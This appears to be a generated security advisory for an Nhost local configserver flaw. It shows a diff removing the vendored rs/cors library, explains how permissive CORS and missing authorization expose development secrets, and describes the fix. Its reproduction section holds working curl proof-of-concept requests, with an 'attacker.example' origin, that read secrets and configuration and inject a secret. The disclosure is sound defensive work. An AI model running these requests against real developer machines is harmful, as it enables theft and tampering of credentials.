    -	origin := r.Header.Get("Origin")
    -
    -	allowed, additionalVaryHeaders := c.isOriginAllowed(r, origin)
    -
    -	// Always set Vary, see https://github.com/rs/cors/issues/10
    -	if vary := headers["Vary"]; vary == nil {
    -		headers["Vary"] = headerVaryOrigin
    -	} else {
    -		headers["Vary"] = append(vary, headerVaryOrigin[0])
    -	}
    -	if len(additionalVaryHeaders) > 0 {
    -		headers.Add("Vary", strings.Join(convert(additionalVaryHeaders, http.CanonicalHeaderKey), ", "))
    -	}
    -	if origin == "" {
    -		c.logf("  Actual request no headers added: missing origin")
    -		return
    -	}
    -	if !allowed {
    -		c.logf("  Actual request no headers added: origin '%s' not allowed", origin)
    -		return
    -	}
    -
    -	// Note that spec does define a way to specifically disallow a simple method like GET or
    -	// POST. Access-Control-Allow-Methods is only used for pre-flight requests and the
    -	// spec doesn't instruct to check the allowed methods for simple cross-origin requests.
    -	// We think it's a nice feature to be able to have control on those methods though.
    -	if !c.isMethodAllowed(r.Method) {
    -		c.logf("  Actual request no headers added: method '%s' not allowed", r.Method)
    -		return
    -	}
    -	if c.allowedOriginsAll {
    -		headers["Access-Control-Allow-Origin"] = headerOriginAll
    -	} else {
    -		headers["Access-Control-Allow-Origin"] = r.Header["Origin"]
    -	}
    -	if len(c.exposedHeaders) > 0 {
    -		headers["Access-Control-Expose-Headers"] = c.exposedHeaders
    -	}
    -	if c.allowCredentials {
    -		headers["Access-Control-Allow-Credentials"] = headerTrue
    -	}
    -	if c.Log != nil {
    -		c.logf("  Actual response added headers: %v", headers)
    -	}
    -}
    -
    -// convenience method. checks if a logger is set.
    -func (c *Cors) logf(format string, a ...interface{}) {
    -	if c.Log != nil {
    -		c.Log.Printf(format, a...)
    -	}
    -}
    -
    -// check the Origin of a request. No origin at all is also allowed.
    -func (c *Cors) OriginAllowed(r *http.Request) bool {
    -	origin := r.Header.Get("Origin")
    -	allowed, _ := c.isOriginAllowed(r, origin)
    -	return allowed
    -}
    -
    -// isOriginAllowed checks if a given origin is allowed to perform cross-domain requests
    -// on the endpoint
    -func (c *Cors) isOriginAllowed(r *http.Request, origin string) (allowed bool, varyHeaders []string) {
    -	if c.allowOriginFunc != nil {
    -		return c.allowOriginFunc(r, origin)
    -	}
    -	if c.allowedOriginsAll {
    -		return true, nil
    -	}
    -	origin = strings.ToLower(origin)
    -	for _, o := range c.allowedOrigins {
    -		if o == origin {
    -			return true, nil
    -		}
    -	}
    -	for _, w := range c.allowedWOrigins {
    -		if w.match(origin) {
    -			return true, nil
    -		}
    -	}
    -	return false, nil
    -}
    -
    -// isMethodAllowed checks if a given method can be used as part of a cross-domain request
    -// on the endpoint
    -func (c *Cors) isMethodAllowed(method string) bool {
    -	if len(c.allowedMethods) == 0 {
    -		// If no method allowed, always return false, even for preflight request
    -		return false
    -	}
    -	if method == http.MethodOptions {
    -		// Always allow preflight requests
    -		return true
    -	}
    -	for _, m := range c.allowedMethods {
    -		if m == method {
    -			return true
    -		}
    -	}
    -	return false
    -}
    
  • vendor/github.com/rs/cors/internal/sortedset.go+0 113 removed
    @@ -1,113 +0,0 @@
    -// adapted from github.com/jub0bs/cors
    -package internal
    -
    -import (
    -	"sort"
    -	"strings"
    -)
    -
    -// A SortedSet represents a mathematical set of strings sorted in
    -// lexicographical order.
    -// Each element has a unique position ranging from 0 (inclusive)
    -// to the set's cardinality (exclusive).
    -// The zero value represents an empty set.
    -type SortedSet struct {
    -	m      map[string]int
    -	maxLen int
    -}
    -
    -// NewSortedSet returns a SortedSet that contains all of elems,
    -// but no other elements.
    -func NewSortedSet(elems ...string) SortedSet {
    -	sort.Strings(elems)
    -	m := make(map[string]int)
    -	var maxLen int
    -	i := 0
    -	for _, s := range elems {
    -		if _, exists := m[s]; exists {
    -			continue
    -		}
    -		m[s] = i
    -		i++
    -		maxLen = max(maxLen, len(s))
    -	}
    -	return SortedSet{
    -		m:      m,
    -		maxLen: maxLen,
    -	}
    -}
    -
    -// Size returns the cardinality of set.
    -func (set SortedSet) Size() int {
    -	return len(set.m)
    -}
    -
    -// String sorts joins the elements of set (in lexicographical order)
    -// with a comma and returns the resulting string.
    -func (set SortedSet) String() string {
    -	elems := make([]string, len(set.m))
    -	for elem, i := range set.m {
    -		elems[i] = elem // safe indexing, by construction of SortedSet
    -	}
    -	return strings.Join(elems, ",")
    -}
    -
    -// Subsumes reports whether csv is a sequence of comma-separated names that are
    -//   - all elements of set,
    -//   - sorted in lexicographically order,
    -//   - unique.
    -func (set SortedSet) Subsumes(csv string) bool {
    -	if csv == "" {
    -		return true
    -	}
    -	posOfLastNameSeen := -1
    -	chunkSize := set.maxLen + 1 // (to accommodate for at least one comma)
    -	for {
    -		// As a defense against maliciously long names in csv,
    -		// we only process at most chunkSize bytes per iteration.
    -		end := min(len(csv), chunkSize)
    -		comma := strings.IndexByte(csv[:end], ',')
    -		var name string
    -		if comma == -1 {
    -			name = csv
    -		} else {
    -			name = csv[:comma]
    -		}
    -		pos, found := set.m[name]
    -		if !found {
    -			return false
    -		}
    -		// The names in csv are expected to be sorted in lexicographical order
    -		// and appear at most once in csv.
    -		// Therefore, the positions (in set) of the names that
    -		// appear in csv should form a strictly increasing sequence.
    -		// If that's not actually the case, bail out.
    -		if pos <= posOfLastNameSeen {
    -			return false
    -		}
    -		posOfLastNameSeen = pos
    -		if comma < 0 { // We've now processed all the names in csv.
    -			break
    -		}
    -		csv = csv[comma+1:]
    -	}
    -	return true
    -}
    -
    -// TODO: when updating go directive to 1.21 or later,
    -// use min builtin instead.
    -func min(a, b int) int {
    -	if a < b {
    -		return a
    -	}
    -	return b
    -}
    -
    -// TODO: when updating go directive to 1.21 or later,
    -// use max builtin instead.
    -func max(a, b int) int {
    -	if a > b {
    -		return a
    -	}
    -	return b
    -}
    
  • vendor/github.com/rs/cors/LICENSE+0 19 removed
    @@ -1,19 +0,0 @@
    -Copyright (c) 2014 Olivier Poitrey <rs@dailymotion.com>
    -
    -Permission is hereby granted, free of charge, to any person obtaining a copy
    -of this software and associated documentation files (the "Software"), to deal
    -in the Software without restriction, including without limitation the rights
    -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    -copies of the Software, and to permit persons to whom the Software is furnished
    -to do so, subject to the following conditions:
    -
    -The above copyright notice and this permission notice shall be included in all
    -copies or substantial portions of the Software.
    -
    -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    -THE SOFTWARE.
    
  • vendor/github.com/rs/cors/README.md+0 125 removed
    @@ -1,125 +0,0 @@
    -# Go CORS handler [![godoc](http://img.shields.io/badge/godoc-reference-blue.svg?style=flat)](https://godoc.org/github.com/rs/cors) [![license](http://img.shields.io/badge/license-MIT-red.svg?style=flat)](https://raw.githubusercontent.com/rs/cors/master/LICENSE) [![Go Coverage](https://github.com/rs/cors/wiki/coverage.svg)](https://raw.githack.com/wiki/rs/cors/coverage.html)
    -
    -CORS is a `net/http` handler implementing [Cross Origin Resource Sharing W3 specification](http://www.w3.org/TR/cors/) in Golang.
    -
    -## Getting Started
    -
    -After installing Go and setting up your [GOPATH](http://golang.org/doc/code.html#GOPATH), create your first `.go` file. We'll call it `server.go`.
    -
    -```go
    -package main
    -
    -import (
    -    "net/http"
    -
    -    "github.com/rs/cors"
    -)
    -
    -func main() {
    -    mux := http.NewServeMux()
    -    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
    -        w.Header().Set("Content-Type", "application/json")
    -        w.Write([]byte("{\"hello\": \"world\"}"))
    -    })
    -
    -    // cors.Default() setup the middleware with default options being
    -    // all origins accepted with simple methods (GET, POST). See
    -    // documentation below for more options.
    -    handler := cors.Default().Handler(mux)
    -    http.ListenAndServe(":8080", handler)
    -}
    -```
    -
    -Install `cors`:
    -
    -    go get github.com/rs/cors
    -
    -Then run your server:
    -
    -    go run server.go
    -
    -The server now runs on `localhost:8080`:
    -
    -    $ curl -D - -H 'Origin: http://foo.com' http://localhost:8080/
    -    HTTP/1.1 200 OK
    -    Access-Control-Allow-Origin: foo.com
    -    Content-Type: application/json
    -    Date: Sat, 25 Oct 2014 03:43:57 GMT
    -    Content-Length: 18
    -
    -    {"hello": "world"}
    -
    -### Allow * With Credentials Security Protection
    -
    -This library has been modified to avoid a well known security issue when configured with `AllowedOrigins` to `*` and `AllowCredentials` to `true`. Such setup used to make the library reflects the request `Origin` header value, working around a security protection embedded into the standard that makes clients to refuse such configuration. This behavior has been removed with [#55](https://github.com/rs/cors/issues/55) and [#57](https://github.com/rs/cors/issues/57).
    -
    -If you depend on this behavior and understand the implications, you can restore it using the `AllowOriginFunc` with `func(origin string) {return true}`.
    -
    -Please refer to [#55](https://github.com/rs/cors/issues/55) for more information about the security implications.
    -
    -### More Examples
    -
    -* `net/http`: [examples/nethttp/server.go](https://github.com/rs/cors/blob/master/examples/nethttp/server.go)
    -* [Goji](https://goji.io): [examples/goji/server.go](https://github.com/rs/cors/blob/master/examples/goji/server.go)
    -* [Martini](http://martini.codegangsta.io): [examples/martini/server.go](https://github.com/rs/cors/blob/master/examples/martini/server.go)
    -* [Negroni](https://github.com/codegangsta/negroni): [examples/negroni/server.go](https://github.com/rs/cors/blob/master/examples/negroni/server.go)
    -* [Alice](https://github.com/justinas/alice): [examples/alice/server.go](https://github.com/rs/cors/blob/master/examples/alice/server.go)
    -* [HttpRouter](https://github.com/julienschmidt/httprouter): [examples/httprouter/server.go](https://github.com/rs/cors/blob/master/examples/httprouter/server.go)
    -* [Gorilla](http://www.gorillatoolkit.org/pkg/mux): [examples/gorilla/server.go](https://github.com/rs/cors/blob/master/examples/gorilla/server.go)
    -* [Buffalo](https://gobuffalo.io): [examples/buffalo/server.go](https://github.com/rs/cors/blob/master/examples/buffalo/server.go)
    -* [Gin](https://gin-gonic.github.io/gin): [examples/gin/server.go](https://github.com/rs/cors/blob/master/examples/gin/server.go)
    -* [Chi](https://github.com/go-chi/chi): [examples/chi/server.go](https://github.com/rs/cors/blob/master/examples/chi/server.go)
    -
    -## Parameters
    -
    -Parameters are passed to the middleware thru the `cors.New` method as follow:
    -
    -```go
    -c := cors.New(cors.Options{
    -    AllowedOrigins: []string{"http://foo.com", "http://foo.com:8080"},
    -    AllowCredentials: true,
    -    // Enable Debugging for testing, consider disabling in production
    -    Debug: true,
    -})
    -
    -// Insert the middleware
    -handler = c.Handler(handler)
    -```
    -
    -* **AllowedOrigins** `[]string`: A list of origins a cross-domain request can be executed from. If the special `*` value is present in the list, all origins will be allowed. An origin may contain a wildcard (`*`) to replace 0 or more characters (i.e.: `http://*.domain.com`). Usage of wildcards implies a small performance penality. Only one wildcard can be used per origin. The default value is `*`.
    -* **AllowOriginFunc** `func (origin string) bool`: A custom function to validate the origin. It takes the origin as an argument and returns true if allowed, or false otherwise. If this option is set, the content of `AllowedOrigins` is ignored.
    -* **AllowOriginRequestFunc** `func (r *http.Request, origin string) bool`: A custom function to validate the origin. It takes the HTTP Request object and the origin as argument and returns true if allowed or false otherwise. If this option is set, the contents of `AllowedOrigins` and `AllowOriginFunc` are ignored.
    -Deprecated: use `AllowOriginVaryRequestFunc` instead.
    -* **AllowOriginVaryRequestFunc** `func(r *http.Request, origin string) (bool, []string)`: A custom function to validate the origin. It takes the HTTP Request object and the origin as argument and returns true if allowed or false otherwise with a list of headers used to take that decision if any so they can be added to the Vary header. If this option is set, the contents of `AllowedOrigins`, `AllowOriginFunc` and `AllowOriginRequestFunc` are ignored.
    -* **AllowedMethods** `[]string`: A list of methods the client is allowed to use with cross-domain requests. Default value is simple methods (`GET` and `POST`).
    -* **AllowedHeaders** `[]string`: A list of non simple headers the client is allowed to use with cross-domain requests.
    -* **ExposedHeaders** `[]string`: Indicates which headers are safe to expose to the API of a CORS API specification.
    -* **AllowCredentials** `bool`: Indicates whether the request can include user credentials like cookies, HTTP authentication or client side SSL certificates. The default is `false`.
    -* **AllowPrivateNetwork** `bool`: Indicates whether to accept cross-origin requests over a private network.
    -* **MaxAge** `int`: Indicates how long (in seconds) the results of a preflight request can be cached. The default is `0` which stands for no max age.
    -* **OptionsPassthrough** `bool`: Instructs preflight to let other potential next handlers to process the `OPTIONS` method. Turn this on if your application handles `OPTIONS`.
    -* **OptionsSuccessStatus** `int`: Provides a status code to use for successful OPTIONS requests. Default value is `http.StatusNoContent` (`204`).
    -* **Debug** `bool`: Debugging flag adds additional output to debug server side CORS issues.
    -
    -See [API documentation](http://godoc.org/github.com/rs/cors) for more info.
    -
    -## Benchmarks
    -
    -```
    -goos: darwin
    -goarch: arm64
    -pkg: github.com/rs/cors
    -BenchmarkWithout-10            	135325480	         8.124 ns/op	       0 B/op	       0 allocs/op
    -BenchmarkDefault-10            	24082140	        51.40 ns/op	       0 B/op	       0 allocs/op
    -BenchmarkAllowedOrigin-10      	16424518	        88.25 ns/op	       0 B/op	       0 allocs/op
    -BenchmarkPreflight-10          	 8010259	       147.3 ns/op	       0 B/op	       0 allocs/op
    -BenchmarkPreflightHeader-10    	 6850962	       175.0 ns/op	       0 B/op	       0 allocs/op
    -BenchmarkWildcard/match-10     	253275342	         4.714 ns/op	       0 B/op	       0 allocs/op
    -BenchmarkWildcard/too_short-10 	1000000000	         0.6235 ns/op	       0 B/op	       0 allocs/op
    -PASS
    -ok  	github.com/rs/cors	99.131s
    -```
    -
    -## Licenses
    -
    -All source code is licensed under the [MIT License](https://raw.github.com/rs/cors/master/LICENSE).
    
  • vendor/github.com/rs/cors/utils.go+0 34 removed
    @@ -1,34 +0,0 @@
    -package cors
    -
    -import (
    -	"net/http"
    -	"strings"
    -)
    -
    -type wildcard struct {
    -	prefix string
    -	suffix string
    -}
    -
    -func (w wildcard) match(s string) bool {
    -	return len(s) >= len(w.prefix)+len(w.suffix) &&
    -		strings.HasPrefix(s, w.prefix) &&
    -		strings.HasSuffix(s, w.suffix)
    -}
    -
    -// convert converts a list of string using the passed converter function
    -func convert(s []string, f func(string) string) []string {
    -	out := make([]string, len(s))
    -	for i := range s {
    -		out[i] = f(s[i])
    -	}
    -	return out
    -}
    -
    -func first(hdrs http.Header, k string) ([]string, bool) {
    -	v, found := hdrs[k]
    -	if !found || len(v) == 0 {
    -		return nil, false
    -	}
    -	return v[:1], true
    -}
    
  • vendor/github.com/rs/cors/wrapper/gin/gin.go+0 60 removed
    @@ -1,60 +0,0 @@
    -// Package cors/wrapper/gin provides gin.HandlerFunc to handle CORS related
    -// requests as a wrapper of github.com/rs/cors handler.
    -package gin
    -
    -import (
    -	"net/http"
    -
    -	"github.com/gin-gonic/gin"
    -	"github.com/rs/cors"
    -)
    -
    -// Options is a configuration container to setup the CORS middleware.
    -type Options = cors.Options
    -
    -// corsWrapper is a wrapper of cors.Cors handler which preserves information
    -// about configured 'optionPassthrough' option.
    -type corsWrapper struct {
    -	*cors.Cors
    -	optionsSuccessStatus int
    -	optionsPassthrough   bool
    -}
    -
    -// build transforms wrapped cors.Cors handler into Gin middleware.
    -func (c corsWrapper) build() gin.HandlerFunc {
    -	return func(ctx *gin.Context) {
    -		c.HandlerFunc(ctx.Writer, ctx.Request)
    -		if !c.optionsPassthrough &&
    -			ctx.Request.Method == http.MethodOptions &&
    -			ctx.GetHeader("Access-Control-Request-Method") != "" {
    -			// Abort processing next Gin middlewares.
    -			ctx.AbortWithStatus(c.optionsSuccessStatus)
    -		}
    -	}
    -}
    -
    -// AllowAll creates a new CORS Gin middleware with permissive configuration
    -// allowing all origins with all standard methods with any header and
    -// credentials.
    -func AllowAll() gin.HandlerFunc {
    -	return corsWrapper{Cors: cors.AllowAll()}.build()
    -}
    -
    -// Default creates a new CORS Gin middleware with default options.
    -func Default() gin.HandlerFunc {
    -	return corsWrapper{Cors: cors.Default()}.build()
    -}
    -
    -// New creates a new CORS Gin middleware with the provided options.
    -func New(options Options) gin.HandlerFunc {
    -	status := options.OptionsSuccessStatus
    -	if status == 0 {
    -		status = http.StatusNoContent
    -	}
    -	wrapper := corsWrapper{
    -		Cors:                 cors.New(options),
    -		optionsSuccessStatus: status,
    -		optionsPassthrough:   options.OptionsPassthrough,
    -	}
    -	return wrapper.build()
    -}
    
  • vendor/github.com/rs/cors/wrapper/gin/LICENSE+0 19 removed
    @@ -1,19 +0,0 @@
    -Copyright (c) 2014 Olivier Poitrey <rs@dailymotion.com>
    -
    -Permission is hereby granted, free of charge, to any person obtaining a copy
    -of this software and associated documentation files (the "Software"), to deal
    -in the Software without restriction, including without limitation the rights
    -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    -copies of the Software, and to permit persons to whom the Software is furnished
    -to do so, subject to the following conditions:
    -
    -The above copyright notice and this permission notice shall be included in all
    -copies or substantial portions of the Software.
    -
    -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    -THE SOFTWARE.
    
  • vendor/modules.txt+0 7 modified
    @@ -998,13 +998,6 @@ github.com/quic-go/quic-go/quicvarint
     # github.com/rivo/uniseg v0.4.7
     ## explicit; go 1.18
     github.com/rivo/uniseg
    -# github.com/rs/cors v1.11.0
    -## explicit; go 1.13
    -github.com/rs/cors
    -github.com/rs/cors/internal
    -# github.com/rs/cors/wrapper/gin v0.0.0-20240830163046-1084d89a1692
    -## explicit; go 1.17
    -github.com/rs/cors/wrapper/gin
     # github.com/russross/blackfriday/v2 v2.1.0
     ## explicit
     github.com/russross/blackfriday/v2
    

Vulnerability mechanics

Root cause

"The local Nhost configserver improperly handles Cross-Origin Resource Sharing (CORS) and authorization, allowing unauthenticated access to sensitive local development secrets and configuration."

Attack vector

An attacker can exploit this vulnerability by tricking a developer running `nhost dev` into visiting a malicious web page. This page can then send cross-origin GraphQL requests to the developer's local configserver. The configserver, due to permissive CORS settings and no-op authorization directives, will process these requests. This allows the attacker to read local secrets and configuration, or even write new secrets to the `.secrets` file [ref_id=1].

Affected code

The vulnerability lies within the `nhost dev` local development environment, specifically in the hidden `configserver` command. The GraphQL router in `cli/cmd/configserver/configserver.go` incorrectly uses no-op authorization directives (`dummyMiddleware`, `dummyMiddleware2`) and the default permissive CORS configuration from `vendor/github.com/rs/cors/cors.go`. Sensitive queries and mutations are exposed in `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls` and handled by vulnerable resolvers in `vendor/github.com/nhost/be/services/mimir/graph/` and `cli/cmd/configserver/local.go` [ref_id=1].

What the fix does

The patch addresses the vulnerability by implementing three layered controls. First, CORS is restricted to only allow requests from the Nhost dashboard origin, preventing arbitrary origins from accessing the API. Second, a unique, per-project app ID is generated and used, replacing the fixed zero UUID, and this ID is validated by the configserver. Finally, secrets are redacted in memory before being returned and mutations to the `.secrets` file are reconciled to prevent overwriting with unknown values [patch_id=4826338].

Preconditions

  • configThe developer must be running the local Nhost development environment using `nhost dev`.
  • networkThe attacker must have network or browser reachability to the developer's local configserver.

Reproduction

The following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.

1. Start a configserver instance against temporary local files:

```sh tmpdir=$(mktemp -d) config="$tmpdir/nhost.toml" secrets="$tmpdir/.secrets"

cat > "$config" <<'EOF' [hasura] adminSecret = 'local-test-admin-secret' webhookSecret = 'local-test-webhook-secret'

[[hasura.jwtSecrets]] type = 'HS256' key = 'local-test-jwt-secret'

[observability] [observability.grafana] adminPassword = 'local-test-grafana-password' EOF

cat > "$secrets" <<'EOF' localProofSecret = 'LOCAL_PROOF_SECRET_VALUE' EOF

port=18088 go run ./cli configserver \ --bind "127.0.0.1:$port" \ --storage-local-config-path "$config" \ --storage-local-secrets-path "$secrets" ```

2. From another shell, show that a browser-style preflight from an arbitrary origin is accepted:

```sh curl -sS -i -X OPTIONS \ -H 'Origin: https://attacker.example' \ -H 'Access-Control-Request-Method: POST' \ -H 'Access-Control-Request-Headers: content-type' \ "http://127.0.0.1:18088/v1/configserver/graphql" ```

Observed proof output in this environment:

```text HTTP/1.1 204 No Content Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: POST Access-Control-Allow-Origin: * Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers ```

3. Read local development secrets without any authentication:

```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"query { appSecrets(appID: \"00000000-0000-0000-0000-000000000000\") { name value } }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" ```

Observed proof output in this environment:

```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"appSecrets":[{"name":"localProofSecret","value":"LOCAL_PROOF_SECRET_VALUE"}]}} ```

4. Read sensitive local configuration without any authentication:

```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"query { configRawJSON(appID: \"00000000-0000-0000-0000-000000000000\", resolve: false) }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" ```

Observed proof output in this environment:

```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"configRawJSON":"{\"hasura\":{\"adminSecret\":\"local-test-admin-secret\",\"jwtSecrets\":[{\"key\":\"local-test-jwt-secret\",\"type\":\"HS256\"}],\"webhookSecret\":\"local-test-webhook-secret\"},\"observability\":{\"grafana\":{\"adminPassword\":\"local-test-grafana-password\"}}}"}} ```

5. Mutate the local `.secrets` file without any authentication:

```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"mutation { insertSecret(appID: \"00000000-0000-0000-0000-000000000000\", secret: { name: \"INJECTED_BY_UNAUTHENTICATED_REQUEST\", value: \"SAFE_LOCAL_MARKER\" }) { name value } }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql"

grep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' "$secrets" ```

Observed proof output in this environment:

```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"insertSecret":{"name":"INJECTED_BY_UNAUTHENTICATED_REQUEST","value":"SAFE_LOCAL_MARKER"}}} INJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER' ```

6. Cleanup:

```sh # Stop the configserver process, then remove the disposable fixture directory. rm -rf "$tmpdir" ```

Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

5

News mentions

0

No linked articles in our index yet.